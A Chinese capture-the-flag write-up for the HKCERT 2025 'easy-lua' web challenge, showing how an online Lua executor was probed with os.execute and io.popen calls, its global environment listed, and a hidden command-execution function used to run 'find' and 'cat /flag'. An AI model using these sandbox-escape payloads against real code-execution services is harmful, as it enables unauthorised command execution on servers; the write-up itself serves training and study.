【CTF-WEB】在线Lua执行器漏洞

题目

题目来源:HKCERT CTF 2025(Qualifying Round) 國際組

题目名称:easy-lua

靶场网址:http://web-ee0662f019.challenge.xctf.org.cn:80/

题目描述: 在线 Lua 执行器,寻找 flag

解题步骤

1. 初始分析

这是一个在线 Lua 执行器,包含:

  • 一个代码输入框
  • 执行按钮和清除按钮
  • 输出显示区域

网页的 JavaScript 代码显示,点击执行按钮后会向 /execute 接口发送 POST 请求,携带 Lua 代码作为 JSON 数据。

2. 尝试常规命令执行

尝试使用 os.execute
lua 复制代码
os.execute("ls -la")

结果 :失败,错误信息显示 os 模块为 nil,说明 os 模块被禁用。

错误信息

json 复制代码
{"output":"","error":"\u003cstring\u003e:1: attempt to index a non-table object(nil) with key 'execute'\nstack traceback:\n\t\u003cstring\u003e:1: in main chunk\n\t[G]: ?"}
尝试使用 io.popen
lua 复制代码
for line in io.popen(\"ls -la\"):lines() do print(line) end

结果 :失败,错误信息显示 io.popen 为 nil,说明 io 模块的 popen 方法被禁用。

错误信息

json 复制代码
{"output":"","error":"\u003cstring\u003e:1: attempt to index a non-table object(nil) with key 'popen'\nstack traceback:\n\t\u003cstring\u003e:1: in main chunk\n\t[G]: ?"}
尝试使用 io.open 读取文件
lua 复制代码
local f = io.open("flag","r") if f then local c = f:read("*a") print(c) f:close() else print("File not found") end

结果 :失败,错误信息显示 io.open 为 nil,说明 io 模块的 open 方法也被禁用。

错误信息

json 复制代码
{"output":"","error":"\u003cstring>:1: attempt to index a non-table object(nil) with key 'open'\nstack traceback:\n\t\u003cstring>:1: in main chunk\n\t[G]: ?"}

3. 查看全局环境

为了了解可用的 Lua 函数,我执行了以下代码来查看全局环境中的所有变量和函数:

lua 复制代码
for k,v in pairs(_G) do print(k, type(v)) end

结果

复制代码
package	abel
_G	tabel
_VERSION	string
_GOPHER_LUA_VERSION	string
rawset	function
ntonumber	function
type	function
xpcall	function
print	function
select	function
_printregs	function
setfenv	function
require	function
getfenv	function
getmetatable	function
pcall	function
rawequal	function
tostring	function
module	function
newproxy	function
dofile	function
error	function
load	function
next	function
rawget	function
setmetatable	function
unpack	function
assert	function
collectgarbage	function
loadfile	function
loadstring	function
ipairs	function
pairs	function
table	tabel
string	tabel
math	tabel
S3cr3t0sEx3cFunc	function
getFileContent	function
getFileList	function

4. 发现自定义函数

从全局环境中,我发现了几个有趣的自定义函数:

  • S3cr3t0sEx3cFunc - 看起来像是可以执行系统命令的函数
  • getFileContent - 可以读取文件内容
  • getFileList - 可以获取文件列表

5. 使用 getFileList 查看文件

我首先使用 getFileList 函数查看当前目录下的文件:

lua 复制代码
local files = getFileList() for i,file in ipairs(files) do print("File "..i..":") for k,v in pairs(file) do print("  "..k..": "..tostring(v)) end end

结果

复制代码
File 1:
  name: .DS_Store
  isdir: false
  size: 6148
  mode: -rw-r--r--
  modtime: 2025-11-24 16:30:57 +0000 UTC
File 2:
  name: g0_main_pr0gram_421585
  isdir: false
  size: 6525112
  mode: -rwxr-xr-x
  modtime: 2025-11-24 16:30:38 +0000 UTC
File 3:
  name: index.html
  isdir: false
  size: 7257
  mode: -rw-r--r--
  modtime: 2025-12-09 07:37:41 +0000 UTC

6. 使用 S3cr3t0sEx3cFunc 执行命令

看到 S3cr3t0sEx3cFunc 这个函数名,我猜测它是一个可以执行系统命令的函数。我首先尝试使用它来查找 flag 文件:

  1. 函数名的构成分析

    • S3cr3t - 是 "Secret"(秘密)的变形,用数字 3 替代了字母 e,这是常见的隐蔽命名方式
    • 0s - 是 "os"(操作系统 Operating System)的变形,用数字 0 替代了字母 o
    • Ex3c - 是 "Exec"(执行 Execute)的变形,用数字 3 替代了字母 e
    • Func - 是 "Function"(函数)的缩写
  2. 组合含义

    整个函数名可以解读为 "Secret os Exec Function",也就是 "秘密的操作系统执行函数"。

  3. 上下文推断

    • 这是一个在线 Lua 执行器,核心功能就是执行代码
    • 之前尝试的常规命令执行方法(os.execute, io.popen 等)都被禁用
    • 系统通常会提供自定义函数来实现特定功能,尤其是在禁用了常规方法的情况下

基于以上分析,我猜测 S3cr3t0sEx3cFunc 是一个可以执行系统命令的自定义函数。我首先尝试使用它来查找 flag 文件:

lua 复制代码
local result = S3cr3t0sEx3cFunc("find / -name flag 2>/dev/null") print(result)

结果

复制代码
/flag

找到了 flag 文件位于 /flag 路径!

7. 读取 flag 文件

最后,我使用 S3cr3t0sEx3cFunc 函数读取 flag 文件的内容:

lua 复制代码
local result = S3cr3t0sEx3cFunc("cat /flag") print(result)

结果

复制代码
flag{Jv2rvIN6PmsYGFC5HhZWNdl2OWoK8SSm}

最终 flag

成功获取到 flag:

复制代码
flag{Jv2rvIN6PmsYGFC5HhZWNdl2OWoK8SSm}

解题思路总结

  1. 分析目标网站的功能和工作原理
  2. 尝试常规的 Lua 命令执行方法(os.execute, io.popen 等),发现被禁用
  3. 查看全局环境,发现自定义函数
  4. 利用自定义的 S3cr3t0sEx3cFunc 函数执行系统命令
  5. 查找并读取 flag 文件

这个靶场的漏洞在于允许执行 Lua 代码,并且提供了一个名为 S3cr3t0sEx3cFunc 的自定义函数,该函数可以执行系统命令,导致了任意命令执行漏洞。

相关推荐
clown_YZ15 小时前
KnightCTF2026--WP
网络安全·逆向·ctf·漏洞利用
给勒布朗上上对抗呀2 天前
文件包含之include-ctfshow-web39
ctf
weixin_462446233 天前
在宝塔 Nginx 上安装与配置 lua-cjson 教程
nginx·junit·lua
Pure_White_Sword4 天前
bugku-reverse题目-peter的手机
网络安全·ctf·reverse·逆向工程
缘木之鱼4 天前
CTFshow __Web应用安全与防护 第二章
前端·安全·渗透·ctf·ctfshow
给勒布朗上上对抗呀5 天前
伪随机数实战-ctfshow-web25
ctf
三七吃山漆5 天前
[护网杯 2018]easy_tornado
python·web安全·ctf·tornado
缘木之鱼5 天前
CTFshow __Web应用安全与防护 第一章
前端·安全·渗透·ctf·ctfshow
移幻漂流6 天前
Lua的现状与机遇:技术生态全景及高潜力领域分析
junit·单元测试·lua
我发在否6 天前
OpenResty > Lua断点调试
vscode·lua·断点·openresty·luapanda